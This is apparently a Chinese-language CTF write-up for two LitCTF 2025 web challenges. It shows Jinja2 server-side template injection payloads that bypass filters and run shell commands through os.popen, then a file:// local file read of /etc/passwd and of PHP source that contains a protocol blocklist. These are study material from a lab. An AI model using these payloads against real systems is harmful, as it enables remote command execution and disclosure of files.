[LitCTF 2025]星愿信箱easy_signin题解 [LitCTF 2025]星愿信箱测试下是否存在SSTI发现输入{{7*7}}被过滤了那就可能是题目中将{{}}进行了过滤进行绕过如果{{被过滤可以使用{% %}语法可以正常回显可以利用命令查看有那些函数把当前 Jinja2 模板执行环境上下文中所有可以直接调用的变量名、函数名全部列出来{%print(self.__dict__.TemplateReference_context.keys())%}进行测试这里用lipsum{% print(lipsum.__globals__[__builtins__][__import__](os).popen(whoami).read()) %}查看根目录下的内容找到flag文件{% print(lipsum.__globals__[__builtins__][__import__](os).popen(ls /).read()) %}因为这里对读取命令有一点小过滤所以进行绕过一下tac /f*{% print(lipsum.__globals__[__builtins__][__import__](os).popen(tac /f*).read()) %}使用config也可以{% print(config.__init__.__globals__[os].popen(whoami).read()) %}[LitCTF 2025]easy_signin题目403先扫一下目录扫到两个目录尝试登录一直显示账号错误然后账号不能进行修改修改前端代码更换账号也是显示账号错误查看下源码发现个api.js有个路径/api/sys/urlcode.php尝试读取/etc/passwd发现可以成功读取到?urlfile:///etc/passwdfile协议可用利用file协议进行源码读取查看源码得到源码中禁止的一些协议ftp://, php://, zlib://, data://, glob://, phar://, ssh2://, rar://, ogg://, expect://bfile:///var/www/html/api/sys/urlcode.php 的快照如下/bbrbrpre?php error_reporting(0); function curl($url){ $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url $_REQUEST[url]; if($url){ $forbidden_protocols [ftp://, php://, zlib://, data://, glob://, phar://, ssh2://, rar://, ogg://, expect://]; $protocol_block false; foreach ($forbidden_protocols as $proto) { if (strpos($url, $proto) 0) { $protocol_block true; break; } } $log_block strpos($url, .log) ! false; if ($protocol_block) { echo 禁止访问不允许使用 {$proto} 协议; } elseif ($log_block) { echo 禁止访问URL 包含 .log; } elseif (strpos($url, login.php) ! false || strpos($url, dashboard.php) ! false || strpos($url, 327a6c4304ad5938eaf0efb6cc3e53dc.php) ! false) { echo 看不见哦; } else { echo b.$url. 的快照如下/bbrbr; echo pre; curl($url); include($url); echo /pre; } } ?这直接访问这个/327a6c4304ad5938eaf0efb6cc3e53dc.php就得到了flag好像是非预期